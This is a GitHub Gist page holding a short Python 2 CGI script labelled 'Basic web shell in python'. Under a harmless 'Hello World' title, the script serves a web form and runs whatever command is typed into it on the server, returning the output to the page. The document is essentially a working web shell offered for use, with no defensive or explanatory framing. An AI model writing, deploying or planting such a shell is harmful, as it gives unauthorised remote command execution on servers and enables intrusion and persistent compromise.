-
-
Save SaFiSec/70bd04ac8adc67329bfcad055f26539a to your computer and use it in GitHub Desktop.
Basic web shell in python
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import cgi | |
import subprocess | |
import cgitb | |
cgitb.enable() | |
def run(command): | |
if not command: | |
raise Exception("Commande vide") | |
else: | |
p = subprocess.Popen(command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
p.wait() | |
out, err = p.communicate() | |
return out | |
print "Content-Type: text/html" | |
print "<html>" | |
print "<head>" | |
print "<title>Hello World</title>" | |
print "</head>" | |
print "<body>" | |
print "<form method='post' action='shell.py'>" | |
print "<input type='text' name='command' />" | |
print "<input type='submit' value='submit' />" | |
print "</form>" | |
form = cgi.FieldStorage() | |
if 'command' in form: | |
cmd = form['command'].value | |
print "<font face='monospace'>" | |
print "$ %s" % cmd | |
print "<br>" | |
for i in run(cmd).split('\n'): | |
print i, "<br>" | |
print "</font>" | |
print "</body>" | |
print "</html>" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment